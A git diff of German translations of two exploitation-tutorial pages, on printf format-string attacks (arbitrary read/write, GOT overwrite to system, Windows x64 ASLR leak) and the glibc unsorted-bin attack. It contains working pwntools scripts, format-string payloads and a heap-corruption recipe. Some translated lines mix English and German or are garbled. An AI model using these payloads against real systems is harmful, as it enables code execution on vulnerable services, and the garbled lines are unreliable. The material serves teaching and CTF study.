diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index e47e3e9a7..efe01526d 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Grundlegende Informationen -In C **`printf`** ist eine Funktion, die verwendet werden kann, um einen String zu **ausgeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **Rohtext mit den Formatplatzhaltern**. Die **folgenden Parameter** sind die **Werte**, die die **Formatplatzhalter** im Rohtext **ersetzen**. +In C **`printf`** ist eine Funktion, die verwendet werden kann, um einen **String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **Rohtext mit den Formatierern**. Die **folgenden Parameter** sind die **Werte**, die die **Formatierer** im Rohtext **ersetzen** sollen. Weitere verwundbare Funktionen sind **`sprintf()`** und **`fprintf()`**. -Die Schwachstelle tritt auf, wenn ein **vom Angreifer kontrollierter Text als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe konstruieren, die die printf-Format-String-Fähigkeiten missbraucht**, um beliebige Daten an beliebigen Adressen zu **lesen** und zu **schreiben** (lesbar/schreibbar). Auf diese Weise kann beliebiger Code **ausgeführt** werden. +Die Schwachstelle tritt auf, wenn ein **vom Angreifer stammender Text als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die die printf format string Fähigkeiten missbraucht**, um beliebige Daten an **beliebigen Adressen zu lesen und zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann **beliebiger Code ausgeführt** werden. -#### Formatplatzhalter: +#### Formatierer: ```bash %08x —> 8 hex bytes %d —> Entire @@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf verwundbar: +- fprintf anfällig: ```c #include @@ -54,7 +54,7 @@ return 0; ``` ### **Zugriff auf Pointers** -Das Format **`%$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (aus dem stack) auszuwählen. Wenn du also das 4. Argument vom stack mit printf auslesen möchtest, könntest du folgendes tun: +Das Format **`%$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (vom stack) auszuwählen. Also, wenn du das 4. Argument vom stack mit printf lesen willst, könntest du: ```c printf("%x %x %x %x") ``` @@ -64,16 +64,16 @@ Oder du könntest Folgendes tun: ```c printf("%4$x") ``` -und liest direkt den vierten. +und direkt die vierte Position lesen. -Beachte, dass der Angreifer den `printf` **parameter kontrolliert, which basically means that** seine Eingabe auf dem stack liegen wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische address in den stack schreiben könnte. +Beachte, dass der Angreifer den `printf` **Parameter, was im Wesentlichen bedeutet, dass** seine Eingabe auf dem Stack liegen wird, wenn `printf` aufgerufen wird, und dass er dadurch spezifische Speicheradressen auf den Stack schreiben könnte. > [!CAUTION] -> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **beliebige address in den stack einzufügen und `printf` dazu zu bringen, auf diese zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie dieses Verhalten genutzt werden kann. +> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **beliebige Adressen in den Stack einzufügen und `printf` dazu zu bringen, auf diese zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten ausnutzt. ## **Arbitrary Read** -Es ist möglich, den Formatter **`%n$s`** zu verwenden, damit **`printf`** die **address**, die sich an der **n position** befindet, nimmt, ihr folgt und **so druckt, als wäre sie ein string** (druckt bis eine 0x00 gefunden wird). Wenn die base address des binary **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. position im stack beginnt, ist es möglich, den Anfang des binary mit: +Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** zu holen, die sich in der **n-ten Position** befindet, ihr zu folgen und **so zu drucken, als wäre sie ein String** (druckt bis ein 0x00 gefunden wird). Wenn also die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der 4. Position auf dem Stack beginnt, ist es möglich, den Anfang des Binaries mit: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Beachte, dass du die Adresse 0x8048000 nicht am Anfang der Eingabe setzen kannst, weil die Zeichenkette wegen eines 0x00-Bytes am Ende dieser Adresse beendet wird. +> Beachte, dass du die Adresse 0x8048000 nicht an den Anfang der Eingabe setzen kannst, weil die Zeichenkette am Ende dieser Adresse in 0x00 cat wird. ### Offset finden -Um den Offset zu deiner Eingabe zu finden, könntest du 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`**, und den Wert **erhöhen**, bis du die `A's` zurückbekommst. +Um den Offset zu deiner Eingabe zu finden, kannst du 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis die `A's` erscheinen.
@@ -131,22 +131,22 @@ p.close() Arbitrary reads können nützlich sein, um: - **Dump** die **binary** aus dem Speicher -- **Zugriff auf spezifische Teile des Speichers, in denen sensible** **info** gespeichert sind (wie canaries, encryption keys oder custom passwords wie in diesem [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Access specific parts of memory where sensitive** **info** gespeichert sind (wie canaries, encryption keys oder benutzerdefinierte Passwörter wie in diesem [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Der Formatter **`%$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse**, die durch den -Parameter auf dem Stack angezeigt wird. Wenn ein Angreifer so viele Zeichen mit printf schreiben kann, wie er möchte, kann er **`%$n`** dazu bringen, eine beliebige Zahl in eine beliebige Adresse zu schreiben. +Der Formatter **`%$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse**, die durch den -Parameter auf dem Stack referenziert wird. Wenn ein Angreifer mit printf beliebig viele Zeichen schreiben kann, kann er **`%$n`** dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben. -Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erreichen; stattdessen kann der Formatter **`%.%$n`** verwendet werden, um die Zahl **``** in die **durch die `num`-Position bezeichnete Adresse** zu schreiben. +Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erzeugen. Stattdessen kann man den Formatter **`%.%$n`** verwenden, um die Zahl **``** in die **Adresse zu schreiben, auf die die `num`-Position zeigt**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Beachte jedoch, dass man üblicherweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet. Dadurch werden **nur 2 Bytes** geschrieben. Deshalb wird dieser Vorgang zweimal durchgeführt: einmal für die höheren 2B der Adresse und einmal für die niedrigeren. +Beachte jedoch, dass man normalerweise, um eine Adresse wie `0x08049724` zu schreiben (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), **`$hn`** statt `$n` verwendet. Dadurch kann man **nur 2 Bytes** schreiben. Daher wird diese Operation zweimal durchgeführt: einmal für die höchsten 2B der Adresse und einmal für die niedrigeren. -Folglich erlaubt diese Schwachstelle, **beliebige Werte an beliebige Adressen zu schreiben (arbitrary write).** +Deshalb erlaubt diese Schwachstelle, in jede Adresse irgendetwas zu schreiben (arbitrary write). -In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere arbitrary write → exec Techniken ausnutzen könnte: +In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies andere arbitrary write to exec techniques ausnutzen könnte: {{#ref}} @@ -154,12 +154,12 @@ In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT {{#endref}} Wir werden eine **Funktion** überschreiben, die ihre **Argumente** vom **Benutzer** erhält, und sie auf die **`system`** **Funktion** zeigen lassen.\ -Wie erwähnt, sind zum Schreiben der Adresse normalerweise 2 Schritte nötig: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet. +Wie erwähnt, um die Adresse zu schreiben, sind normalerweise 2 Schritte nötig: Du **schreibst zuerst 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet. - **HOB** bezeichnet die 2 höheren Bytes der Adresse - **LOB** bezeichnet die 2 niedrigeren Bytes der Adresse -Dann, aufgrund der Funktionsweise von format string, muss man **zuerst den kleineren** von \[HOB, LOB] schreiben und danach den anderen. +Dann, wegen der Funktionsweise von format string, musst du **zuerst den kleineren** von [HOB, LOB] schreiben und dann den anderen. If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Vorlage +### Pwntools-Vorlage -Du findest eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in: +Du findest eine **Vorlage**, um einen exploit für diese Art von Schwachstelle vorzubereiten, in: {{#ref}} format-strings-template.md {{#endref}} -Oder dieses grundlegende Beispiel von [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +Oder dieses einfache Beispiel von [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -201,26 +201,26 @@ p.interactive() ``` ## Format Strings to BOF -Es ist möglich, die Schreibaktionen einer format string vulnerability auszunutzen, um **in Adressen des stack zu schreiben** und eine **buffer overflow**-Art von Schwachstelle auszunutzen. +Es ist möglich, die Schreibaktionen einer format string vulnerability zu missbrauchen, um **write in addresses of the stack** und eine **buffer overflow**-Art von Schwachstelle auszunutzen. ## Windows x64: Format-string leak to bypass ASLR (no varargs) -Unter Windows x64 werden die ersten vier Integer-/Pointer-Parameter in Registern übergeben: RCX, RDX, R8, R9. An vielen fehlerhaften Aufrufstellen wird die vom Angreifer kontrollierte Zeichenkette als Format-Argument verwendet, aber keine varargs übergeben, zum Beispiel: +On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In vielen fehlerhaften Aufrufstellen wird der vom Angreifer kontrollierte String als Format-Argument verwendet, es werden aber keine variadischen Argumente übergeben, zum Beispiel: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR. +Da keine varargs übergeben werden, bewirkt jede Konvertierung wie "%p", "%x", "%s", dass das CRT das nächste variadic argument aus dem entsprechenden Register liest. Bei der Microsoft x64 Aufrufkonvention stammt die erste solche Leseaktion für "%p" aus R9. Welcher vorübergehende Wert sich zum Aufrufzeitpunkt in R9 befindet, wird ausgegeben. In der Praxis leaks das häufig einen stabilen Pointer innerhalb des Moduls (z. B. ein Pointer auf ein lokal/globales Objekt, das zuvor von umgebendem Code in R9 platziert wurde, oder einen callee-saved Wert), der verwendet werden kann, um die Modulbasis zu rekonstruieren und ASLR zu umgehen. -Praktischer Workflow: +Practical workflow: -- Injiziere ein harmloses Format wie "%p " ganz am Anfang des attacker-controlled string, sodass die erste Conversion ausgeführt wird bevor irgendeine Filterung. -- Fange den leaked pointer ein, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges reversing mit symbols oder einer lokalen Kopie), und rekonstruiere die image base als `leak - known_offset`. -- Wiederverwende diese base, um absolute Adressen für ROP gadgets und IAT entries remote zu berechnen. +- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering. +- Erfasse den leaked pointer, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges Reversing mit Symbolen oder einer lokalen Kopie), und rekonstruiere die Modulbasis als `leak - known_offset`. +- Nutze diese Basis, um aus der Ferne absolute Adressen für ROP gadgets und IAT entries zu berechnen. -Beispiel (abbreviated python): +Beispiel (abgekürztes python): ```python from pwn import remote @@ -232,12 +232,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Hinweise: -- Der genaue Offset, der subtrahiert werden muss, wird einmal während des lokalen Reversings ermittelt und dann wiederverwendet (dieselbe binary/version). +Notes: +- The exact offset to subtract is found once during local reversing and then reused (same binary/version). - If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack. -- Dieses Muster ist spezifisch für die Windows x64 calling convention und printf-family implementations, die nonexistent varargs aus Registern holen, wenn der Format-String sie anfordert. +- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them. -Diese Technik ist extrem nützlich, um ROP auf Windows-Services zu bootstrapen, die mit ASLR kompiliert sind und keine offensichtlichen memory disclosure primitives besitzen. +This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives. ## Other Examples & References diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 9f687825e..25a4aac61 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -11,64 +11,63 @@ Für mehr Informationen darüber, was ein unsorted bin ist, siehe diese Seite: bins-and-memory-allocations.md {{#endref}} -Unsorted-Listen können die Adresse von `unsorted_chunks (av)` in das `bk`-Feld des Chunks schreiben. Daher, wenn ein Angreifer die Adresse des `bk`-Pointers in einem Chunk im unsorted bin **ändern** kann, könnte er in der Lage sein, **diese Adresse an eine beliebige Adresse zu schreiben**, was nützlich sein kann, um Glibc-Adressen zu leaken oder Schutzmechanismen zu umgehen. +Unsorted lists sind in der Lage, die Adresse von `unsorted_chunks (av)` in das `bk`-Feld des Chunks zu schreiben. Daher, wenn ein Angreifer die Adresse des `bk`-Pointers in einem Chunk innerhalb des unsorted bin ändern kann, könnte er diese Adresse an eine beliebige Adresse schreiben, was hilfreich sein kann, um Glibc-Adressen zu leaken oder einige Schutzmechanismen zu umgehen. -Kurz gesagt erlaubt dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein kann. Ein traditionelles Ziel war **`global_max_fast`**, um fast bins mit größeren Größen zu ermöglichen (und vom unsorted bin attack zum fast bin attack zu wechseln). +Kurz gesagt erlaubt dieser Angriff, eine große Zahl an einer beliebigen Adresse zu setzen. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein kann. Ein traditionelles Ziel war `global_max_fast`, um fast bin bins mit größeren Größen zu erlauben (und vom unsorted bin attack zu einem fast bin attack überzugehen). -- Moderne Anmerkung (glibc ≥ 2.39): `global_max_fast` wurde zu einem 8‑Bit Global. Blindes Schreiben eines Pointers dort via unsorted-bin write wird angrenzende libc-Daten überschreiben und erhöht die fastbin-Grenze nicht mehr zuverlässig. Bevorzuge andere Ziele oder Primitiven gegen glibc 2.39+. Siehe "Modern constraints" weiter unten und erwäge die Kombination mit anderen Techniken wie einem [large bin attack](large-bin-attack.md) oder einem [fast bin attack](fast-bin-attack.md), sobald du ein stabiles Primitive hast. +- Moderne Anmerkung (glibc ≥ 2.39): `global_max_fast` wurde zu einer 8‑Bit-Globalvariablen. Das blinde Schreiben eines Pointers dorthin via unsorted‑bin write überschreibt angrenzende libc-Daten und erhöht das fastbin-Limit nicht mehr zuverlässig. Bevorzuge andere Ziele oder andere Primitive gegen glibc 2.39+. Siehe "Moderne Einschränkungen" weiter unten und erwäge die Kombination mit anderen Techniken wie einem [large bin attack](large-bin-attack.md) oder einem [fast bin attack](fast-bin-attack.md), sobald du ein stabiles Primitive hast. > [!TIP] -> Wenn man sich das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) anschaut und 0x4000 und 0x5000 statt 0x400 und 0x500 als Chunk-Größen verwendet (um Tcache zu vermeiden), sieht man, dass **heutzutage** der Fehler `malloc(): unsorted double linked list corrupted` ausgelöst wird. +> Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) und die Verwendung von 0x4000 und 0x5000 statt 0x400 und 0x500 als Chunk-Größen (um Tcache zu vermeiden) zeigt, dass **heutzutage** der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird. > -> Daher erfordert dieser unsorted bin attack jetzt (neben anderen Checks) auch, die doppelt verkettete Liste so zu manipulieren, dass die Prüfung `victim->bk->fd == victim` oder `victim->fd == av (arena)` nicht fehlschlägt. Das bedeutet, dass die Adresse, an die wir schreiben wollen, in ihrer `fd`-Position die Adresse des gefälschten Chunks enthalten muss und das gefälschte Chunk `fd` auf die arena zeigt. +> Daher erfordert dieser unsorted bin attack jetzt (neben anderen Checks) auch, die doppelt verkettete Liste so zu reparieren, dass die Überprüfungen `victim->bk->fd == victim` und `victim->fd == av (arena)` erfüllt sind, was bedeutet, dass die Adresse, an die wir schreiben wollen, in ihrer `fd`-Position die Adresse des gefälschten Chunks haben muss und dass das `fd` des gefälschten Chunks auf die arena zeigt. > [!CAUTION] -> Beachte, dass dieser Angriff das unsorted bin (und damit auch small und large) korruptiert. Deshalb können wir jetzt nur **Allokationen aus den fast bins verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen); um das auszulösen, müssen wir **genau dieselbe Größe allokieren, sonst stürzt das Programm ab.** +> Beachte, dass dieser Angriff das unsorted bin korruptiert (und damit auch small und large). Daher können wir jetzt nur noch **Allocations aus den fast bin** verwenden (ein komplexeres Programm könnte andere Allocations durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allozieren, sonst stürzt das Programm ab.** > -> Das Überschreiben von **`global_max_fast`** kann in diesem Fall helfen, wenn man darauf vertraut, dass die fast bin die restlichen Allokationen übernimmt, bis der Exploit abgeschlossen ist. +> Beachte, dass das Überschreiben von **`global_max_fast`** in diesem Fall helfen kann, sofern das fast bin alle anderen Allocations bis zum Abschluss des Exploits übernehmen kann. -Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt das sehr gut; wenn man die mallocs aber so ändert, dass sie groß genug sind, um nicht in Tcache zu landen, sieht man den oben genannten Fehler, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`** +Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt das sehr gut; wenn man jedoch die mallocs so ändert, dass sie Speicher groß genug allozieren, um nicht in einen Tcache zu fallen, sieht man, dass der zuvor erwähnte Fehler auftritt und diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`** ### Wie der Schreibvorgang tatsächlich abläuft -- Der unsorted-bin write wird beim `free` ausgelöst, wenn das freigegebene Chunk an den Kopf der unsorted-Liste eingefügt wird. -- Während der Einfügung führt der Allocator folgende Schritte aus: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- Wenn du `victim->bk` vor dem Aufruf von `free(victim)` auf `(mchunkptr)(TARGET - 0x10)` setzen kannst, wird die letzte Anweisung den Schreibvorgang durchführen: `*(TARGET) = victim`. -- Später, wenn der Allocator das unsorted bin verarbeitet, prüfen die Integritätschecks (unter anderem), dass `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`, bevor sie unlinken. Da die Einfügung bereits `victim` in `bck->fd` (unser TARGET) geschrieben hat, können diese Prüfungen erfüllt sein, wenn der Schreibvorgang erfolgreich war. +- Der unsorted‑bin write wird bei `free` ausgelöst, wenn der freigegebene Chunk am Kopf der unsorted list eingefügt wird. +- Während der Einfügung führt der Allocator aus: bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; +- Wenn du `victim->bk` auf `(mchunkptr)(TARGET - 0x10)` setzen kannst bevor du `free(victim)` aufrufst, wird die letzte Anweisung die Schreiboperation ausführen: `*(TARGET) = victim`. +- Später, wenn der Allocator das unsorted bin verarbeitet, werden Integritätsprüfungen (unter anderem) verifizieren, dass `bck->fd == victim` und `victim->fd == unsorted_chunks(av)` bevor unlinking erfolgt. Da die Einfügung bereits `victim` in `bck->fd` (unser `TARGET`) geschrieben hat, können diese Checks erfüllt sein, wenn der Write erfolgreich war. ## Moderne Einschränkungen (glibc ≥ 2.33) -Um unsorted‑bin-Schreibvorgänge zuverlässig auf aktuellem glibc zu nutzen: +Um unsorted‑bin Writes auf aktuellen glibc zuverlässig zu verwenden: -- Tcache interference: Für Größen, die in Tcache fallen, werden frees dorthin umgeleitet und berühren nicht das unsorted bin. Entweder - - mache Anfragen mit Größen > MAX_TCACHE_SIZE (≥ 0x410 auf 64‑Bit standardmäßig), oder - - fülle das entsprechende Tcache-Bin (7 Einträge), sodass zusätzliche frees die globalen Bins erreichen, oder - - wenn die Umgebung kontrollierbar ist, deaktiviere tcache (z. B. GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integritätsprüfungen auf der unsorted-Liste: Auf dem nächsten Allokationspfad, der das unsorted bin prüft, testet glibc (vereinfacht): - - `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`; andernfalls bricht es mit `malloc(): unsorted double linked list corrupted` ab. -- Das bedeutet, dass die Adresse, die du anvisierst, zwei Schreiboperationen tolerieren muss: zuerst `*(TARGET) = victim` zur free‑Zeit; später, wenn das Chunk entfernt wird, `*(TARGET) = unsorted_chunks(av)` (der Allocator schreibt `bck->fd` zurück auf den Bin-Kopf). Wähle Ziele, bei denen allein das Erzwingen eines großen Nicht‑Null‑Werts nützlich ist. -- Typische stabile Ziele in modernen Exploits - - Anwendungs- oder globaler Zustand, der "große" Werte als Flags/Grenzen behandelt. - - Indirekte Primitives (z. B. Vorbereitung für einen nachfolgenden [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) oder um später einen write‑what‑where zu pivotieren). - - Vermeide `__malloc_hook`/`__free_hook` in neueren glibc: diese wurden in 2.34 entfernt. Vermeide `global_max_fast` auf ≥ 2.39 (siehe vorherige Anmerkung). +- Tcache-Interferenz: Für Größen, die in den tcache fallen, werden frees dorthin umgeleitet und berühren nicht das unsorted bin. Entweder +- mache Anfragen mit Größen > MAX_TCACHE_SIZE (≥ 0x410 auf 64‑Bit standardmäßig), oder +- fülle die entsprechende tcache-Bin (7 Einträge), sodass zusätzliche frees die global bins erreichen, oder +- wenn die Umgebung kontrollierbar ist, deaktiviere tcache (z. B. GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integritätsprüfungen auf der unsorted list: auf dem nächsten Allocations-Pfad, der das unsorted bin prüft, kontrolliert glibc (vereinfacht): +- `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`; andernfalls bricht es mit `malloc(): unsorted double linked list corrupted` ab. +- Das bedeutet, dass die Adresse, die du targetest, zwei Writes tolerieren muss: zuerst `*(TARGET) = victim` zur Free‑Zeit; später, wenn der Chunk entfernt wird, `*(TARGET) = unsorted_chunks(av)` (der Allocator schreibt `bck->fd` zurück auf den Bin‑Kopf). Wähle Ziele, bei denen das Erzwingen eines großen Nicht‑Null‑Wertes nützlich ist. +- Typische stabile Ziele in modernen Exploits: +- Applikations- oder globaler Zustand, der "große" Werte als Flags/Limits behandelt. +- Indirekte Primitive (z. B. Vorbereitung für einen nachfolgenden [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) oder um einen späteren write‑what‑where zu pivotieren). +- Vermeide `__malloc_hook`/`__free_hook` in neuem glibc: sie wurden in 2.34 entfernt. Vermeide `global_max_fast` auf ≥ 2.39 (siehe vorherige Anmerkung). +- Zu `global_max_fast` auf neueren glibc: +- Auf glibc 2.39+ ist `global_max_fast` ein 8‑Bit‑Global. Der klassische Trick, einen Heap‑Pointer dorthin zu schreiben (um fastbins zu vergrößern), funktioniert nicht mehr sauber und wird wahrscheinlich angrenzenden Allocator‑Zustand korruptieren. Bevorzuge andere Strategien. -- Über `global_max_fast` in aktuellem glibc - - In glibc 2.39+ ist `global_max_fast` ein 8‑Bit Global. Der klassische Trick, dort einen Heap‑Pointer hineinzuschreiben (um fastbins zu vergrößern), funktioniert nicht mehr sauber und wird wahrscheinlich angrenzenden Allocator‑Zustand korruptieren. Bevorzuge andere Strategien. +## Minimales Exploit‑Rezept (moderner glibc) -## Minimales Exploit‑Rezept (modernes glibc) - -Ziel: Mit der unsorted‑bin insertion primitive eine einzelne willkürliche Schreiboperation eines Heap‑Pointers an eine beliebige Adresse erreichen, ohne einen Absturz zu verursachen. +Ziel: einen einzelnen arbiträren Write eines Heap‑Pointers an eine beliebige Adresse mittels des unsorted‑bin Insertions‑Primitives erreichen, ohne das Programm abstürzen zu lassen. - Layout/Grooming - - Allokiere A, B, C mit Größen, die groß genug sind, um tcache zu umgehen (z. B. 0x5000). C verhindert die Konsolidierung mit dem top chunk. +- Alloziere A, B, C mit Größen, die groß genug sind, um tcache zu umgehen (z. B. 0x5000). C verhindert Konsolidierung mit dem top chunk. - Korruption - - Overflow von A in B's Chunk‑Header, um `B->bk = (mchunkptr)(TARGET - 0x10)` zu setzen. +- Overflow von A in Bs Chunk‑Header, um `B->bk = (mchunkptr)(TARGET - 0x10)` zu setzen. - Auslösen - - `free(B)`. Zur Einfügezeit führt der Allocator `bck->fd = B` aus, daher wird `*(TARGET) = B`. +- `free(B)`. Zur Einfügezeit führt der Allocator `bck->fd = B` aus; daher wird `*(TARGET) = B`. - Fortsetzung - - Wenn du weiter allokieren willst und das Programm das unsorted bin verwendet, erwarte, dass der Allocator später `*(TARGET) = unsorted_chunks(av)` setzt. Beide Werte sind typischerweise groß und können ausreichen, um Größen-/Limit‑Semantik in Zielen zu ändern, die nur auf "groß" prüfen. +- Wenn du weiter alloziieren willst und das Programm das unsorted bin verwendet, erwarte, dass der Allocator später `*(TARGET) = unsorted_chunks(av)` setzt. Beide Werte sind typischerweise groß und können ausreichen, um Größen-/Limit‑Semantiken in Zielen zu ändern, die nur auf "groß" prüfen. -Pseudocode‑Gerüst: +Pseudocode‑Skelett: ```c // 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes) void *A = malloc(0x5000); @@ -81,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Wenn du tcache nicht über die Größe umgehen kannst, fülle das tcache bin für die gewählte Größe (7 frees), bevor du den korrumpierten chunk freigibst, damit der free in den unsorted geht. -> • Wenn das Programm bei der nächsten Allocation sofort wegen unsorted-bin-Checks abbricht, überprüfe nochmals, dass `victim->fd` weiterhin dem bin head entspricht und dass dein `TARGET` nach dem ersten write exakt den `victim`-Pointer hält. +> • Wenn du tcache nicht über die Größe umgehen kannst, fülle das tcache-Bin für die gewählte Größe (7 frees), bevor du den korrupten Chunk freigibst, damit das free in das unsorted geht. +> • Wenn das Programm beim nächsten Allocation sofort aufgrund der unsorted-bin‑Checks abbricht, überprüfe nochmal, dass `victim->fd` noch dem Bin-Head entspricht und dass dein `TARGET` nach dem ersten Schreibvorgang genau den `victim`-Pointer enthält. ## Unsorted Bin Infoleak Attack -Das ist eigentlich ein sehr grundlegendes Konzept. Die chunks im unsorted bin enthalten Pointer. Der erste Chunk im unsorted bin wird tatsächlich die **`fd`** und die **`bk`** Links haben, die **auf einen Teil der main arena (Glibc)** zeigen.\ -Daher kannst du, wenn du **einen Chunk in den unsorted bin platzierst und ihn ausliest** (use after free) oder **ihn erneut allokierst, ohne mindestens einen der Pointer zu überschreiben**, um ihn anschließend **auszulesen**, ein **Glibc info leak** erhalten. +This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ +Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. -Ein ähnlicher [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) bestand darin, eine Struktur aus 4 Chunks (A, B, C und D — D dient nur dazu, eine Consolidation mit dem top chunk zu verhindern) auszunutzen: Ein Null-Byte-Overflow in B wurde verwendet, damit C anzeigt, dass B unused ist. Außerdem wurde in B das 